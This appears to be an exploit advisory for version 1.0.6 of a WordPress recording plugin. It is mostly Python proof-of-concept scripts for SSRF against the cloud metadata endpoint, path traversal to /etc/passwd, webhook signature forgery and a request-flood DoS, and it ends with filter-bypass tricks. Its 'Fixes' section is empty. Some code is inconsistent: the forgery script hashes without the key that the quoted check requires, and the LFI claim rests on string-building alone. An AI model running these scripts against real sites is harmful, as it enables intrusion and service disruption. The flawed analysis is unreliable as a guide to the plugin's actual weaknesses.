WordPress Pipe Audio Video and Screen Recorder 1.0.6 Bypass / LFI / SSRF

# Exploit Title: WordPress Pipe Audio Video and Screen Recorder 1.0.6 - Multiple Vulnerabilities
    # Date: March 28, 2025
    # Exploit Author: bRpsd cy[at]live.no
    # Plugin Link: https://wordpress.org/plugins/pipe-audio-video-and-screen-recorder/
    # Version: 1.0.6
    # Tested on: MacOS local Xampp
    
    
    
    Vulnerability1: SSRF in File Download
    File:load/AddPipe.php
    Function: addpipe_handle_download()
    Vulnerable Code:
    ================================================================================================
    public function addpipe_handle_download() {
        // ...
        $fileUrl = isset($_POST['file']) ? esc_url_raw(wp_unslash($_POST['file'])) : '';
        $allowed_domains = ['addpipe.com'];
        $parsed_url = wp_parse_url($fileUrl);
        
        if (!isset($parsed_url['host']) || !in_array($parsed_url['host'], $allowed_domains, true)) {
            wp_send_json_error(['message' => 'Unauthorized domain'], 403);
        }
        
        $fileContent = @file_get_contents($fileUrl); // SSRF here
        // ...
    }
    ================================================================================================
    Vuln1 Python POC:
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    import requests
    
    target = "http://example.com/wp-admin/admin-ajax.php"
    nonce = "VALID_NONCE_HERE"  # Replace with actual nonce
    
    # Craft malicious URL (redirects to internal service)
    malicious_url = "https://addpipe.com/redirect?url=http://169.254.169.254/latest/meta-data"
    
    data = {
        "action": "addpipe_download_file",
        "file": malicious_url,
        "_wpnonce": nonce
    }
    
    response = requests.post(target, data=data)
    print(f"SSRF Response ({response.status_code}):\n{response.text[:500]}")
    
    
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    
    
    
    Vulnerability2: LFI via Quality Parameter
    File: load/AddPipe.php
    Function: addpipe_ajax_shortcode_generator()
    Vulnerable Code:
    ================================================================================================
    public function addpipe_ajax_shortcode_generator() {
        // ...
        $quality = isset($_POST['quality']) ? sanitize_text_field(wp_unslash($_POST['quality'])) : '';
        $qualityurl = "avq/" . $quality . ".xml"; // LFI here
        
        $data = [
            'qualityurl' => $qualityurl,
            // ...
        ];
        // ...
    }
    ================================================================================================
    Vuln2 Python POC:
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    import requests
    from urllib.parse import quote
    
    target = "http://example.com/wp-admin/admin-ajax.php"
    nonce = "VALID_NONCE_HERE"  # Replace with actual nonce
    
    # Directory traversal payload
    lfi_payload = quote("../../../../etc/passwd")
    
    data = {
        "action": "addpipe_ajax_shortcode_generator",
        "quality": lfi_payload,
        "_wpnonce": nonce
    }
    
    response = requests.post(target, data=data)
    print(f"LFI Response ({response.status_code}):\n{response.text}")
    
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    
    
    
    
    
    Vulnerability3: Webhook Signature Bypass
    File: load/AddPipe.php
    Function: addpipeWebhook()
    Vulnerable Code:
    ================================================================================================
    public function addpipeWebhook() {
        $webhook_url = admin_url('admin-ajax.php?action=addpipeWebhook');
        $received_signature = $_SERVER['HTTP_X_PIPE_SIGNATURE'] ?? '';
        $json_payload = file_get_contents('php://input');
        
        $data_to_sign = $webhook_url . $json_payload;
        $expected_signature = base64_encode(hash_hmac('sha1', $data_to_sign, $this->pipeWebhookKey, true));
        
        if (!hash_equals($expected_signature, $received_signature)) {
            wp_die('Unauthorized request', 403);
        }
        // ...
    }
    ================================================================================================
    
    Vuln3 Python POC:
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    import hashlib
    import base64
    import requests
    
    webhook_url = "http://example.com/wp-admin/admin-ajax.php?action=addpipeWebhook"
    known_key = "WEAK_SECRET_KEY"  # Replace with guessed/exposed key
    
    malicious_payload = {
        "event": "video_recorded",
        "data": {
            "id": 666,
            "envCode": "attacker_env",
            "videoName": "hacked_recording"
        }
    }
    
    # Generate forged signature
    signature_data = webhook_url + str(malicious_payload)
    signature = base64.b64encode(
        hashlib.sha1(signature_data.encode()).hexdigest().encode()
    ).decode()
    
    headers = {
        "X-Pipe-Signature": signature,
        "Content-Type": "application/json"
    }
    
    response = requests.post(webhook_url, json=malicious_payload, headers=headers)
    print(f"Webhook Injection ({response.status_code}): {response.text}")
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    
    
    Vulnerability4: DoS via Sync Endpoint
    File: load/AddPipe.php
    Function: addpipe_ajax_sync_deleted()
    Vulnerable Code:
    ================================================================================================
    public function addpipe_ajax_sync_deleted() {
        foreach ($this->addpipeGetRecordedRecordings() as $obj) {
            if (!$this->addpipeIsFileOnServer($obj->recording_url)) {
                $wpdb->query("UPDATE {$wpdb->prefix}addpipe_records SET active = 0...");
            }
        }
    }
    ================================================================================================
    Vuln4 POC:
    import requests
    from concurrent.futures import ThreadPoolExecutor
    
    target = "http://example.com/wp-admin/admin-ajax.php"
    nonce = "VALID_ADMIN_NONCE"  # Requires admin privileges
    
    def send_sync_request(_):
        data = {"action": "addpipe_ajax_sync_deleted", "_wpnonce": nonce}
        response = requests.post(target, data=data)
        return response.status_code
    
    # Launch 100 concurrent requests
    with ThreadPoolExecutor(max_workers=20) as executor:
        results = list(executor.map(send_sync_request, range(100)))
    
    print(f"DoS Results: {set(results)}")
    
    
    
    
    
    Defense Bypass: For LFI/SSRF:
    Use double encoding (%252e%252e%252f)
    Chain with open redirect vulnerabilities
    Exploit parser inconsistencies (e.g., ///etc/passwd
    
    
    
    Fixes: